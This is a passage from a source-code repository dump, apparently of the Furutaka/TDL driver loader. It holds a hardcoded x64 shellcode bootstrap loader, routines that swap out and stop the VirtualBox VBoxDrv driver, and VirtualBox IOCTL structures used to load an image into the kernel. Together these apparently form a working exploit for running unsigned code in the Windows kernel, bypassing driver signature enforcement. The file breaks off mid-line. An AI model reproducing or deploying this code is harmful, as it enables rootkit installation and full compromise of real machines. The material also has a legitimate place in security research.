IMAGE_REL_BASED_HIGHLOW: 216 | *(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta; 217 | break; 218 | case IMAGE_REL_BASED_DIR64: 219 | *(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta; 220 | break; 221 | } 222 | 223 | chains++; 224 | p += sizeof(WORD); 225 | } 226 | 227 | c += rel->SizeOfBlock; 228 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock); 229 | } 230 | } 231 | 232 | isz >>= 3; 233 | for (pos = 0; pos < isz; pos++) 234 | ((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos]; 235 | 236 | DriverEntry = (PfnDriverEntry)(exbuffer + popth->AddressOfEntryPoint); 237 | DriverEntry(); 238 | } 239 | */ 240 | 241 | static const unsigned char TDLBootstrapLoader_code_w10rs2[321] = { 242 | 0x40, 0x53, 0x55, 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0xC9, 0x4C, 0x89, 0x7C, 0x24, 0x50, 243 | 0x48, 0x8D, 0x1D, 0xE9, 0xFF, 0xFF, 0xFF, 0x33, 0xC9, 0x48, 0x81, 0xC3, 0x00, 0x03, 0x00, 0x00, 244 | 0x41, 0xB8, 0x54, 0x64, 0x6C, 0x53, 0x48, 0x63, 0x6B, 0x3C, 0x48, 0x03, 0xEB, 0x44, 0x8B, 0x7D, 245 | 0x50, 0x41, 0x8D, 0x97, 0x00, 0x10, 0x00, 0x00, 0x41, 0xFF, 0xD1, 0x48, 0x8D, 0xB0, 0x00, 0x10, 246 | 0x00, 0x00, 0x48, 0x81, 0xE6, 0x00, 0xF0, 0xFF, 0xFF, 0x83, 0xBD, 0x84, 0x00, 0x00, 0x00, 0x05, 247 | 0x0F, 0x86, 0xA5, 0x00, 0x00, 0x00, 0x8B, 0x8D, 0xB0, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84, 248 | 0x97, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7C, 0x24, 0x40, 0x4C, 0x8D, 0x04, 0x0B, 0x4C, 0x8B, 0xDE, 249 | 0x4C, 0x89, 0x74, 0x24, 0x48, 0x4C, 0x2B, 0x5D, 0x30, 0x33, 0xFF, 0x44, 0x8B, 0xB5, 0xB4, 0x00, 250 | 0x00, 0x00, 0x45, 0x85, 0xF6, 0x74, 0x6A, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 251 | 0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4D, 0x8D, 0x50, 0x08, 0x45, 0x39, 0x48, 0x04, 0x76, 0x43, 252 | 0x41, 0x0F, 0xB7, 0x02, 0x8B, 0xC8, 0xC1, 0xE9, 0x0C, 0x83, 0xF9, 0x03, 0x74, 0x17, 0x83, 0xF9, 253 | 0x0A, 0x75, 0x22, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x4C, 254 | 0x01, 0x1C, 0x0A, 0xEB, 0x10, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 255 | 0x03, 0x44, 0x01, 0x1C, 0x0A, 0x49, 0x83, 0xC2, 0x02, 0x41, 0x83, 0xC1, 0x02, 0x45, 0x3B, 0x48, 256 | 0x04, 0x72, 0xBD, 0x41, 0x8B, 0x40, 0x04, 0x03, 0xF8, 0x4C, 0x03, 0xC0, 0x41, 0x3B, 0xFE, 0x72, 257 | 0x9F, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x4C, 0x8B, 0x74, 0x24, 0x48, 0x49, 0x8B, 0xD7, 0x4C, 0x8B, 258 | 0x7C, 0x24, 0x50, 0x48, 0xC1, 0xEA, 0x03, 0x48, 0x85, 0xD2, 0x74, 0x25, 0x48, 0x8B, 0xCE, 0x48, 259 | 0x2B, 0xDE, 0x0F, 0x1F, 0x40, 0x00, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 260 | 0x48, 0x8B, 0x04, 0x0B, 0x48, 0x89, 0x01, 0x48, 0x8D, 0x49, 0x08, 0x48, 0x83, 0xEA, 0x01, 0x75, 261 | 0xEF, 0x8B, 0x45, 0x28, 0x48, 0x03, 0xC6, 0x48, 0x83, 0xC4, 0x20, 0x5E, 0x5D, 0x5B, 0x48, 0xFF, 262 | 0xE0 263 | }; 264 | -------------------------------------------------------------------------------- /Source/Furutaka/sup.c: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2019 4 | * 5 | * TITLE: SUP.C 6 | * 7 | * VERSION: 1.15 8 | * 9 | * DATE: 19 Apr 2019 10 | * 11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 14 | * PARTICULAR PURPOSE. 15 | * 16 | *******************************************************************************/ 17 | #include "global.h" 18 | 19 | /* 20 | * supGetSystemInfo 21 | * 22 | * Purpose: 23 | * 24 | * Wrapper for NtQuerySystemInformation. 25 | * 26 | */ 27 | PVOID supGetSystemInfo( 28 | _In_ SYSTEM_INFORMATION_CLASS InfoClass 29 | ) 30 | { 31 | INT c = 0; 32 | PVOID Buffer = NULL; 33 | ULONG Size = 0x1000; 34 | NTSTATUS status; 35 | ULONG memIO; 36 | PVOID hHeap = NtCurrentPeb()->ProcessHeap; 37 | 38 | do { 39 | Buffer = RtlAllocateHeap(hHeap, HEAP_ZERO_MEMORY, (SIZE_T)Size); 40 | if (Buffer != NULL) { 41 | status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO); 42 | } 43 | else { 44 | return NULL; 45 | } 46 | if (status == STATUS_INFO_LENGTH_MISMATCH) { 47 | RtlFreeHeap(hHeap, 0, Buffer); 48 | Buffer = NULL; 49 | Size *= 2; 50 | c++; 51 | if (c > 100) { 52 | status = STATUS_SECRET_TOO_LONG; 53 | break; 54 | } 55 | } 56 | } while (status == STATUS_INFO_LENGTH_MISMATCH); 57 | 58 | if (NT_SUCCESS(status)) { 59 | return Buffer; 60 | } 61 | 62 | if (Buffer) { 63 | RtlFreeHeap(hHeap, 0, Buffer); 64 | } 65 | return NULL; 66 | } 67 | 68 | /* 69 | * supGetNtOsBase 70 | * 71 | * Purpose: 72 | * 73 | * Return ntoskrnl base address. 74 | * 75 | */ 76 | ULONG_PTR supGetNtOsBase( 77 | VOID 78 | ) 79 | { 80 | PRTL_PROCESS_MODULES miSpace; 81 | ULONG_PTR NtOsBase = 0; 82 | 83 | miSpace = (PRTL_PROCESS_MODULES)supGetSystemInfo(SystemModuleInformation); 84 | if (miSpace) { 85 | NtOsBase = (ULONG_PTR)miSpace->Modules[0].ImageBase; 86 | RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, miSpace); 87 | } 88 | return NtOsBase; 89 | } 90 | 91 | /* 92 | * supQueryResourceData 93 | * 94 | * Purpose: 95 | * 96 | * Load resource by given id (win32 FindResource, SizeofResource, LockResource). 97 | * 98 | */ 99 | PBYTE supQueryResourceData( 100 | _In_ ULONG_PTR ResourceId, 101 | _In_ PVOID DllHandle, 102 | _In_ PULONG DataSize 103 | ) 104 | { 105 | NTSTATUS status; 106 | ULONG_PTR IdPath[3]; 107 | IMAGE_RESOURCE_DATA_ENTRY *DataEntry; 108 | PBYTE Data = NULL; 109 | ULONG SizeOfData = 0; 110 | 111 | if (DllHandle != NULL) { 112 | 113 | IdPath[0] = (ULONG_PTR)RT_RCDATA; //type 114 | IdPath[1] = ResourceId; //id 115 | IdPath[2] = 0; //lang 116 | 117 | status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry); 118 | if (NT_SUCCESS(status)) { 119 | status = LdrAccessResource(DllHandle, DataEntry, (PVOID*)&Data, &SizeOfData); 120 | if (NT_SUCCESS(status)) { 121 | if (DataSize) { 122 | *DataSize = SizeOfData; 123 | } 124 | } 125 | } 126 | } 127 | return Data; 128 | } 129 | 130 | /* 131 | * supBackupVBoxDrv 132 | * 133 | * Purpose: 134 | * 135 | * Backup virtualbox driver file if it already installed. 136 | * 137 | */ 138 | BOOL supBackupVBoxDrv( 139 | _In_ BOOL bRestore 140 | ) 141 | { 142 | BOOL bResult = FALSE; 143 | WCHAR szOldDriverName[MAX_PATH * 2]; 144 | WCHAR szNewDriverName[MAX_PATH * 2]; 145 | WCHAR szDriverDirName[MAX_PATH * 2]; 146 | 147 | if (!GetSystemDirectory(szDriverDirName, MAX_PATH)) { 148 | return FALSE; 149 | } 150 | 151 | _strcat(szDriverDirName, TEXT("\\drivers\\")); 152 | 153 | if (bRestore) { 154 | _strcpy(szOldDriverName, szDriverDirName); 155 | _strcat(szOldDriverName, TEXT("VBoxDrv.backup")); 156 | if (PathFileExists(szOldDriverName)) { 157 | _strcpy(szNewDriverName, szDriverDirName); 158 | _strcat(szNewDriverName, TEXT("VBoxDrv.sys")); 159 | bResult = MoveFileEx(szOldDriverName, szNewDriverName, 160 | MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH); 161 | } 162 | } 163 | else { 164 | _strcpy(szOldDriverName, szDriverDirName); 165 | _strcat(szOldDriverName, TEXT("VBoxDrv.sys")); 166 | _strcpy(szNewDriverName, szDriverDirName); 167 | _strcat(szNewDriverName, TEXT("VBoxDrv.backup")); 168 | bResult = MoveFileEx(szOldDriverName, szNewDriverName, 169 | MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH); 170 | } 171 | return bResult; 172 | } 173 | 174 | /* 175 | * supWriteBufferToFile 176 | * 177 | * Purpose: 178 | * 179 | * Create new file (or open existing) and write (append) buffer to it. 180 | * 181 | */ 182 | SIZE_T supWriteBufferToFile( 183 | _In_ PWSTR lpFileName, 184 | _In_ PVOID Buffer, 185 | _In_ SIZE_T Size, 186 | _In_ BOOL Flush, 187 | _In_ BOOL Append 188 | ) 189 | { 190 | NTSTATUS Status; 191 | DWORD dwFlag; 192 | HANDLE hFile = NULL; 193 | OBJECT_ATTRIBUTES attr; 194 | UNICODE_STRING NtFileName; 195 | IO_STATUS_BLOCK IoStatus; 196 | LARGE_INTEGER Position; 197 | ACCESS_MASK DesiredAccess; 198 | PLARGE_INTEGER pPosition = NULL; 199 | ULONG_PTR nBlocks, BlockIndex; 200 | ULONG BlockSize, RemainingSize; 201 | PBYTE ptr = (PBYTE)Buffer; 202 | SIZE_T BytesWritten = 0; 203 | 204 | if (RtlDosPathNameToNtPathName_U(lpFileName, &NtFileName, NULL, NULL) == FALSE) 205 | return 0; 206 | 207 | DesiredAccess = FILE_WRITE_ACCESS | SYNCHRONIZE; 208 | dwFlag = FILE_OVERWRITE_IF; 209 | 210 | if (Append != FALSE) { 211 | DesiredAccess |= FILE_READ_ACCESS; 212 | dwFlag = FILE_OPEN_IF; 213 | } 214 | 215 | InitializeObjectAttributes(&attr, &NtFileName, OBJ_CASE_INSENSITIVE, 0, NULL); 216 | 217 | __try { 218 | Status = NtCreateFile(&hFile, DesiredAccess, &attr, 219 | &IoStatus, NULL, FILE_ATTRIBUTE_NORMAL, 0, dwFlag, 220 | FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE, NULL, 0); 221 | 222 | if (!NT_SUCCESS(Status)) 223 | __leave; 224 | 225 | pPosition = NULL; 226 | 227 | if (Append != FALSE) { 228 | Position.LowPart = FILE_WRITE_TO_END_OF_FILE; 229 | Position.HighPart = -1; 230 | pPosition = &Position; 231 | } 232 | 233 | if (Size < 0x80000000) { 234 | BlockSize = (ULONG)Size; 235 | Status = NtWriteFile(hFile, 0, NULL, NULL, &IoStatus, ptr, BlockSize, pPosition, NULL); 236 | if (!NT_SUCCESS(Status)) 237 | __leave; 238 | 239 | BytesWritten += IoStatus.Information; 240 | } 241 | else { 242 | BlockSize = 0x7FFFFFFF; 243 | nBlocks = (Size / BlockSize); 244 | for (BlockIndex = 0; BlockIndex < nBlocks; BlockIndex++) { 245 | 246 | Status = NtWriteFile(hFile, 0, NULL, NULL, &IoStatus, ptr, BlockSize, pPosition, NULL); 247 | if (!NT_SUCCESS(Status)) 248 | __leave; 249 | 250 | ptr += BlockSize; 251 | BytesWritten += IoStatus.Information; 252 | } 253 | RemainingSize = (ULONG)(Size % BlockSize); 254 | if (RemainingSize != 0) { 255 | Status = NtWriteFile(hFile, 0, NULL, NULL, &IoStatus, ptr, RemainingSize, pPosition, NULL); 256 | if (!NT_SUCCESS(Status)) 257 | __leave; 258 | BytesWritten += IoStatus.Information; 259 | } 260 | } 261 | } 262 | __finally { 263 | if (hFile != NULL) { 264 | if (Flush != FALSE) NtFlushBuffersFile(hFile, &IoStatus); 265 | NtClose(hFile); 266 | } 267 | RtlFreeUnicodeString(&NtFileName); 268 | } 269 | return BytesWritten; 270 | } 271 | 272 | /* 273 | * supDetectObjectCallback 274 | * 275 | * Purpose: 276 | * 277 | * Comparer callback routine used in objects enumeration. 278 | * 279 | */ 280 | NTSTATUS NTAPI supDetectObjectCallback( 281 | _In_ POBJECT_DIRECTORY_INFORMATION Entry, 282 | _In_ PVOID CallbackParam 283 | ) 284 | { 285 | POBJSCANPARAM Param = (POBJSCANPARAM)CallbackParam; 286 | 287 | if (Entry == NULL) { 288 | return STATUS_INVALID_PARAMETER_1; 289 | } 290 | 291 | if (CallbackParam == NULL) { 292 | return STATUS_INVALID_PARAMETER_2; 293 | } 294 | 295 | if (Param->Buffer == NULL || Param->BufferSize == 0) { 296 | return STATUS_MEMORY_NOT_ALLOCATED; 297 | } 298 | 299 | if (Entry->Name.Buffer) { 300 | if (_strcmpi_w(Entry->Name.Buffer, Param->Buffer) == 0) { 301 | return STATUS_SUCCESS; 302 | } 303 | } 304 | return STATUS_UNSUCCESSFUL; 305 | } 306 | 307 | /* 308 | * supEnumSystemObjects 309 | * 310 | * Purpose: 311 | * 312 | * Lookup object by name in given directory. 313 | * 314 | */ 315 | NTSTATUS NTAPI supEnumSystemObjects( 316 | _In_opt_ LPWSTR pwszRootDirectory, 317 | _In_opt_ HANDLE hRootDirectory, 318 | _In_ PENUMOBJECTSCALLBACK CallbackProc, 319 | _In_opt_ PVOID CallbackParam 320 | ) 321 | { 322 | BOOL cond = TRUE; 323 | ULONG ctx, rlen; 324 | HANDLE hDirectory = NULL; 325 | NTSTATUS status; 326 | NTSTATUS CallbackStatus; 327 | OBJECT_ATTRIBUTES attr; 328 | UNICODE_STRING sname; 329 | 330 | POBJECT_DIRECTORY_INFORMATION objinf; 331 | 332 | if (CallbackProc == NULL) { 333 | return STATUS_INVALID_PARAMETER_4; 334 | } 335 | 336 | status = STATUS_UNSUCCESSFUL; 337 | 338 | __try { 339 | 340 | // We can use root directory. 341 | if (pwszRootDirectory != NULL) { 342 | RtlSecureZeroMemory(&sname, sizeof(sname)); 343 | RtlInitUnicodeString(&sname, pwszRootDirectory); 344 | InitializeObjectAttributes(&attr, &sname, OBJ_CASE_INSENSITIVE, NULL, NULL); 345 | status = NtOpenDirectoryObject(&hDirectory, DIRECTORY_QUERY, &attr); 346 | if (!NT_SUCCESS(status)) { 347 | return status; 348 | } 349 | } 350 | else { 351 | if (hRootDirectory == NULL) { 352 | return STATUS_INVALID_PARAMETER_2; 353 | } 354 | hDirectory = hRootDirectory; 355 | } 356 | 357 | // Enumerate objects in directory. 358 | ctx = 0; 359 | do { 360 | 361 | rlen = 0; 362 | status = NtQueryDirectoryObject(hDirectory, NULL, 0, TRUE, FALSE, &ctx, &rlen); 363 | if (status != STATUS_BUFFER_TOO_SMALL) 364 | break; 365 | 366 | objinf = (POBJECT_DIRECTORY_INFORMATION)RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, rlen); 367 | if (objinf == NULL) 368 | break; 369 | 370 | status = NtQueryDirectoryObject(hDirectory, objinf, rlen, TRUE, FALSE, &ctx, &rlen); 371 | if (!NT_SUCCESS(status)) { 372 | RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, objinf); 373 | break; 374 | } 375 | 376 | CallbackStatus = CallbackProc(objinf, CallbackParam); 377 | 378 | RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, objinf); 379 | 380 | if (NT_SUCCESS(CallbackStatus)) { 381 | status = STATUS_SUCCESS; 382 | break; 383 | } 384 | 385 | } while (cond); 386 | 387 | if (hDirectory != NULL) { 388 | NtClose(hDirectory); 389 | } 390 | 391 | } 392 | __except (EXCEPTION_EXECUTE_HANDLER) { 393 | status = STATUS_ACCESS_VIOLATION; 394 | } 395 | 396 | return status; 397 | } 398 | 399 | /* 400 | * supIsObjectExists 401 | * 402 | * Purpose: 403 | * 404 | * Return TRUE if the given object exists, FALSE otherwise. 405 | * 406 | */ 407 | BOOLEAN supIsObjectExists( 408 | _In_ LPWSTR RootDirectory, 409 | _In_ LPWSTR ObjectName 410 | ) 411 | { 412 | OBJSCANPARAM Param; 413 | 414 | if (ObjectName == NULL) { 415 | return FALSE; 416 | } 417 | 418 | Param.Buffer = ObjectName; 419 | Param.BufferSize = (ULONG)_strlen(ObjectName); 420 | 421 | return NT_SUCCESS(supEnumSystemObjects(RootDirectory, NULL, supDetectObjectCallback, &Param)); 422 | } 423 | 424 | /* 425 | * supxStopServiceShowError 426 | * 427 | * Purpose: 428 | * 429 | * Display Function + LastError message for SCM part, Function limited to MAX_PATH. 430 | * 431 | */ 432 | VOID supxStopServiceShowError( 433 | _In_ LPWSTR Function, 434 | _In_ DWORD ErrorCode) 435 | { 436 | WCHAR szMessage[300]; 437 | 438 | _strcpy(szMessage, TEXT("SCM: ")); 439 | _strcat(szMessage, Function); 440 | _strcat(szMessage, TEXT(" failed (")); 441 | ultostr(ErrorCode, _strend(szMessage)); 442 | _strcat(szMessage, TEXT(")")); 443 | cuiPrintText(szMessage, TRUE); 444 | } 445 | 446 | /* 447 | * supStopVBoxService 448 | * 449 | * Purpose: 450 | * 451 | * Stop given VirtualBox service (unload kernel driver). 452 | * 453 | */ 454 | BOOLEAN supStopVBoxService( 455 | _In_ SC_HANDLE schSCManager, 456 | _In_ LPWSTR szSvcName //MAX_PATH limit 457 | ) 458 | { 459 | BOOLEAN bResult = FALSE; 460 | 461 | SC_HANDLE schService; 462 | SERVICE_STATUS_PROCESS ssp; 463 | DWORD dwStartTime = GetTickCount(); 464 | DWORD dwBytesNeeded; 465 | DWORD dwTimeout = 30000; //30 seconds timeout for this proc. 466 | DWORD dwWaitTime; 467 | DWORD dwLastError; 468 | 469 | WCHAR szMessage[MAX_PATH * 2]; 470 | 471 | _strcpy(szMessage, TEXT("SCM: Attempt to stop ")); 472 | _strcat(szMessage, szSvcName); 473 | cuiPrintText(szMessage, TRUE); 474 | 475 | // 476 | // Open service, if service does not exist consider this as success and leave. 477 | // 478 | schService = OpenService( 479 | schSCManager, 480 | szSvcName, 481 | SERVICE_STOP | 482 | SERVICE_QUERY_STATUS); 483 | 484 | if (schService == NULL) { 485 | dwLastError = GetLastError(); 486 | if (dwLastError == ERROR_SERVICE_DOES_NOT_EXIST) { 487 | cuiPrintText(TEXT("SCM: Service does not exist, skip"), TRUE); 488 | return TRUE; 489 | } 490 | else { 491 | supxStopServiceShowError(TEXT("OpenService"), GetLastError()); 492 | return FALSE; 493 | } 494 | } 495 | 496 | // 497 | // Query service status. 498 | // 499 | if (!QueryServiceStatusEx( 500 | schService, 501 | SC_STATUS_PROCESS_INFO, 502 | (LPBYTE)&ssp, 503 | sizeof(SERVICE_STATUS_PROCESS), 504 | &dwBytesNeeded)) 505 | { 506 | supxStopServiceShowError(TEXT("QueryServiceStatusEx"), GetLastError()); 507 | goto stop_cleanup; 508 | } 509 | 510 | if (ssp.dwCurrentState == SERVICE_STOPPED) { 511 | cuiPrintText(TEXT("SCM: Service is already stopped"), TRUE); 512 | bResult = TRUE; 513 | goto stop_cleanup; 514 | } 515 | 516 | // 517 | // If service already in stop pending state, wait a little. 518 | // 519 | while (ssp.dwCurrentState == SERVICE_STOP_PENDING) 520 | { 521 | cuiPrintText(TEXT("SCM: Service stop pending..."), TRUE); 522 | 523 | dwWaitTime = ssp.dwWaitHint / 10; 524 | 525 | if (dwWaitTime < 1000) 526 | dwWaitTime = 1000; 527 | else if (dwWaitTime > 10000) 528 | dwWaitTime = 10000; 529 | 530 | Sleep(dwWaitTime); 531 | 532 | if (!QueryServiceStatusEx( 533 | schService, 534 | SC_STATUS_PROCESS_INFO, 535 | (LPBYTE)&ssp, 536 | sizeof(SERVICE_STATUS_PROCESS), 537 | &dwBytesNeeded)) 538 | { 539 | supxStopServiceShowError(TEXT("QueryServiceStatusEx"), GetLastError()); 540 | goto stop_cleanup; 541 | } 542 | 543 | if (ssp.dwCurrentState == SERVICE_STOPPED) 544 | { 545 | cuiPrintText(TEXT("SCM: Service stopped successfully"), TRUE); 546 | bResult = TRUE; 547 | goto stop_cleanup; 548 | } 549 | 550 | // 551 | // 30 seconds execution timeout reached. 552 | // 553 | if (GetTickCount() - dwStartTime > dwTimeout) { 554 | cuiPrintText(TEXT("SCM: Service stop timed out.\n"), TRUE); 555 | goto stop_cleanup; 556 | } 557 | } 558 | 559 | // 560 | // Stop service. 561 | // 562 | if (!ControlService( 563 | schService, 564 | SERVICE_CONTROL_STOP, 565 | (LPSERVICE_STATUS)&ssp)) 566 | { 567 | supxStopServiceShowError(TEXT("ControlService"), GetLastError()); 568 | goto stop_cleanup; 569 | } 570 | 571 | // 572 | // Check whatever we need to wait for service stop. 573 | // 574 | while (ssp.dwCurrentState != SERVICE_STOPPED) 575 | { 576 | Sleep(ssp.dwWaitHint); 577 | if (!QueryServiceStatusEx( 578 | schService, 579 | SC_STATUS_PROCESS_INFO, 580 | (LPBYTE)&ssp, 581 | sizeof(SERVICE_STATUS_PROCESS), 582 | &dwBytesNeeded)) 583 | { 584 | supxStopServiceShowError(TEXT("QueryServiceStatusEx"), GetLastError()); 585 | goto stop_cleanup; 586 | } 587 | 588 | if (ssp.dwCurrentState == SERVICE_STOPPED) 589 | break; 590 | 591 | // 592 | // 30 seconds execution timeout reached. 593 | // 594 | if (GetTickCount() - dwStartTime > dwTimeout) { 595 | cuiPrintText(TEXT("SCM: Wait timed out"), TRUE); 596 | goto stop_cleanup; 597 | } 598 | } 599 | cuiPrintText(TEXT("SCM: Service stopped successfully"), TRUE); 600 | bResult = TRUE; 601 | 602 | stop_cleanup: 603 | CloseServiceHandle(schService); 604 | 605 | return bResult; 606 | } 607 | -------------------------------------------------------------------------------- /Source/Furutaka/sup.h: -------------------------------------------------------------------------------- 1 | /******************************************************************************* 2 | * 3 | * (C) COPYRIGHT AUTHORS, 2016 - 2019 4 | * 5 | * TITLE: SUP.H 6 | * 7 | * VERSION: 1.15 8 | * 9 | * DATE: 19 Apr 2019 10 | * 11 | * Common header file for the program support routines. 12 | * 13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF 14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED 15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A 16 | * PARTICULAR PURPOSE. 17 | * 18 | *******************************************************************************/ 19 | #pragma once 20 | 21 | typedef NTSTATUS(NTAPI *PENUMOBJECTSCALLBACK)(POBJECT_DIRECTORY_INFORMATION Entry, PVOID CallbackParam); 22 | 23 | typedef struct _OBJSCANPARAM { 24 | PWSTR Buffer; 25 | ULONG BufferSize; 26 | } OBJSCANPARAM, *POBJSCANPARAM; 27 | 28 | ULONG_PTR supGetNtOsBase( 29 | VOID); 30 | 31 | PVOID supGetSystemInfo( 32 | _In_ SYSTEM_INFORMATION_CLASS InfoClass); 33 | 34 | PBYTE supQueryResourceData( 35 | _In_ ULONG_PTR ResourceId, 36 | _In_ PVOID DllHandle, 37 | _In_ PULONG DataSize); 38 | 39 | BOOL supBackupVBoxDrv( 40 | _In_ BOOL bRestore); 41 | 42 | SIZE_T supWriteBufferToFile( 43 | _In_ PWSTR lpFileName, 44 | _In_ PVOID Buffer, 45 | _In_ SIZE_T Size, 46 | _In_ BOOL Flush, 47 | _In_ BOOL Append); 48 | 49 | BOOLEAN supIsObjectExists( 50 | _In_ LPWSTR RootDirectory, 51 | _In_ LPWSTR ObjectName); 52 | 53 | BOOLEAN supStopVBoxService( 54 | _In_ SC_HANDLE schSCManager, 55 | _In_ LPWSTR szSvcName); 56 | 57 | #define PathFileExists(lpszPath) (GetFileAttributes(lpszPath) != (DWORD)-1) 58 | -------------------------------------------------------------------------------- /Source/Furutaka/vbox.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | typedef void* RTR0PTR; 4 | 5 | typedef struct _SUPREQHDR { 6 | /** Cookie. */ 7 | uint32_t u32Cookie; 8 | /** Session cookie. */ 9 | uint32_t u32SessionCookie; 10 | /** The size of the input. */ 11 | uint32_t cbIn; 12 | /** The size of the output. */ 13 | uint32_t cbOut; 14 | /** Flags. See SUPREQHDR_FLAGS_* for details and values. */ 15 | uint32_t fFlags; 16 | /** The VBox status code of the operation, out direction only. */ 17 | int32_t rc; 18 | } SUPREQHDR; 19 | 20 | /** SUP_IOCTL_COOKIE. */ 21 | typedef struct _SUPCOOKIE { 22 | /** The header. 23 | * u32Cookie must be set to SUPCOOKIE_INITIAL_COOKIE. 24 | * u32SessionCookie should be set to some random value. */ 25 | SUPREQHDR Hdr; 26 | union 27 | { 28 | struct 29 | { 30 | /** Magic word. */ 31 | char szMagic[16]; 32 | /** The requested interface version number. */ 33 | uint32_t u32ReqVersion; 34 | /** The minimum interface version number. */ 35 | uint32_t u32MinVersion; 36 | } In; 37 | struct 38 | { 39 | /** Cookie. */ 40 | uint32_t u32Cookie; 41 | /** Session cookie. */ 42 | uint32_t u32SessionCookie; 43 | /** Interface version for this session. */ 44 | uint32_t u32SessionVersion; 45 | /** The actual interface version in the driver. */ 46 | uint32_t u32DriverVersion; 47 | /** Number of functions available for the SUP_IOCTL_QUERY_FUNCS request. */ 48 | uint32_t cFunctions; 49 | /** Session handle. */ 50 | /*R0PTRTYPE(PSUPDRVSESSION)*/ PVOID pSession; 51 | } Out; 52 | } u; 53 | } SUPCOOKIE, *PSUPCOOKIE; 54 | 55 | typedef struct _SUPLDROPEN { 56 | /** The header. */ 57 | SUPREQHDR Hdr; 58 | union 59 | { 60 | struct 61 | { 62 | /** Size of the image we'll be loading. */ 63 | uint32_t cbImage; 64 | /** Image name. 65 | * This is the NAME of the image, not the file name. It is used 66 | * to share code with other processes. (Max len is 32 chars!) */ 67 | char szName[32]; 68 | } In; 69 | struct 70 | { 71 | /** The base address of the image. */ 72 | RTR0PTR pvImageBase; 73 | /** Indicate whether or not the image requires loading. */ 74 | BOOLEAN fNeedsLoading; 75 | } Out; 76 | } u; 77 | } SUPLDROPEN, *PSUPLDROPEN; 78 | 79 | typedef enum _SUPLDRLOADEP { 80 | SUPLDRLOADEP_NOTHING = 0, 81 | SUPLDRLOADEP_VMMR0, 82 | SUPLDRLOADEP_SERVICE, 83 | SUPLDRLOADEP_32BIT_HACK = 0x7fffffff 84 | } SUPLDRLOADEP; 85 | 86 | typedef struct _SUPSETVMFORFAST { 87 | /** The header. */ 88 | SUPREQHDR Hdr; 89 | union 90 | { 91 | struct 92 | { 93 | /** The ring-0 VM handle (pointer). */ 94 | PVOID pVMR0; 95 | } In; 96 | } u; 97 | } SUPSETVMFORFAST, *PSUPSETVMFORFAST; 98 | 99 | typedef struct _SUPLDRLOAD 100 | { 101 | /** The header. */ 102 | SUPREQHDR Hdr; 103 | union 104 | { 105 | struct 106 | { 107 | /** The address of module initialization function. Similar to _DLL_InitTerm(hmod, 0). */ 108 | PVOID pfnModuleInit; 109 | /** The address of module termination function. Similar to _DLL_InitTerm(hmod, 1). */ 110 | PVOID pfnModuleTerm; 111 | /** Special entry points. */ 112 | union 113 | { 114 | /** SUPLDRLOADEP_VMMR0. */ 115 | struct 116 | { 117 | /** The module handle (i.e. address). */ 118 | RTR0PTR pvVMMR0; 119 | /** Address of VMMR0EntryInt function. */ 120 | RTR0PTR pvVMMR0EntryInt; 121 | /** Address of VMMR0EntryFast function. */ 122 | RTR0PTR pvVMMR0EntryFast; 123 | /** Address of VMMR0EntryEx function. */ 124 | RTR0PTR pvVMMR0EntryEx; 125 | } VMMR0; 126 | /** SUPLDRLOADEP_SERVICE. */ 127 | struct 128 | { 129 | /** The service request handler. 130 | * (PFNR0SERVICEREQHANDLER isn't defined yet.) */ 131 | RTR0PTR pfnServiceReq; 132 | /** Reserved, must be NIL. */ 133 | RTR0PTR apvReserved[3]; 134 | } Service; 135 | } EP; 136 | /** Address. */ 137 | RTR0PTR pvImageBase; 138 | /** Entry point type. */ 139 | SUPLDRLOADEP eEPType; 140 | /** The offset of the symbol table. */ 141 | uint32_t offSymbols; 142 | /** The number of entries in the symbol table. */ 143 | uint32_t cSymbols; 144 | /** The offset of the string table. */ 145 | uint32_t offStrTab; 146 | /** Size of the string table. */ 147 | uint32_t cbStrTab; 148 | /** Size of image (including string and symbol tables). */ 149 | uint32_t cbImage; 150 | /** The image data. */ 151 | char achImage[1]; 152 | } In; 153 | } u; 154 | } SUPLDRLOAD, *PSUPLDRLOAD; 155 | 156 | 157 | #define RT_SIZEOFMEMB(type, member) ( sizeof(((type *)(void *)0)->member) ) 158 | #define SUPCOOKIE_INITIAL_COOKIE 0x69726f74 /* 'tori' */ 159 | #define 